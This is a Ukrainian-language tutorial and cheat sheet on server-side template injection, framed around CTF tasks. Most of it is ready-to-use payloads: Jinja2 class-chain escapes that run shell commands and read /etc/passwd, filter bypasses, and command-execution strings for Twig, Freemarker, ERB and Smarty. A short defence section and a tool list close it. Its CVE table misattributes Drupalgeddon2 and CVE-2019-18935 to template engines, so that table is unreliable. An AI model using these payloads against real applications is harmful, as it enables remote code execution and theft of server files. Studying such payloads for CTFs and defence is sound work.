Що таке SSTI
Server-Side Template Injection (SSTI) — вразливість, за якої user-input вставляється напряму у шаблон, що рендериться на сервері. Шаблонізатор виконує впроваджений код у контексті додатку.
Різниця від XSS: XSS виконується у браузері жертви, SSTI — на сервері. Це означає прямий доступ до файлів, оточення, мережі.
Виявлення: математичний тест
Відправ у кожне поле по черзі:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
Якщо відповідь містить 49 — шаблонізатор виконав вираз. Якщо {{7*7}} — просто відображає як текст (виводить рядок), а {{7*'7'}} дає 7777777 — це Jinja2/Twig.
Decision tree
{{7*7}} → 49 → Jinja2 (Python) або Twig (PHP)
{{7*'7'}} → 49 → Twig (PHP)
{{7*'7'}} → 7777777 → Jinja2 (Python)
${7*7} → 49 → Freemarker / Smarty / Pebble
<%= 7*7 %> → 49 → ERB (Ruby)
#{7*7} → 49 → Pebble / Thymeleaf
Jinja2 (Python/Flask)
Найпоширеніший у CTF-завданнях. Мета — дістатись до вбудованих класів Python.
Читання файлу
{{ ''.__class__.__mro__[1].__subclasses__() }}
Це дає список усіх підкласів object. Нам потрібен subprocess.Popen або os._wrap_close.
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
Індекс (396) залежить від версії Python — знайди потрібний клас у списку.
Читання /etc/passwd
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
Клас 40 зазвичай file (Python 2) або io.FileIO. Для Python 3:
{{ ().__class__.__bases__[0].__subclasses__()[189].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}
Короткий payload через config
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Bypass фільтрів
Якщо _ заблоковано:
{{ ''['__class__'] }}
{{ ''|attr('__class__') }}
Якщо . заблоковано:
{{ ''['__class__']['__mro__'][1] }}
Якщо пробіли заблоковано:
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
Або через system:
{{['id']|map('system')|join}}
Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB (Ruby on Rails)
<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>
Smarty (PHP)
{php}echo `id`;{/php}
{system('id')}
Реальні CVE
| Вразливість | Движок | Ефект |
|---|---|---|
| CVE-2018-7600 (Drupalgeddon2) | Twig | RCE без автентифікації |
| CVE-2019-18935 | .NET Razor | RCE через WebResource |
| HubSpot CMS 2023 | HubL | SSTI → LFI |
Захист
- Ніколи не підставляй user-input напряму у
render_string()/from_string() - Передавай дані як змінні шаблону, а не конкатенацією
- Використовуй Sandbox-середовища (Jinja2 SandboxedEnvironment)
- WAF: блокуй
{{,}},${},<%=у user-input - Content Security Policy (для виводу у HTML)
# ❌ Вразливо
template = request.args.get('name')
render_template_string(template)
# ✅ Безпечно
name = request.args.get('name')
render_template_string("Hello {{ name }}", name=name)
Корисні інструменти
- tplmap — автоматичне виявлення та експлуатація SSTI
- SSTImap — активно підтримуваний форк tplmap
- Burp Suite — ручне тестування через Repeater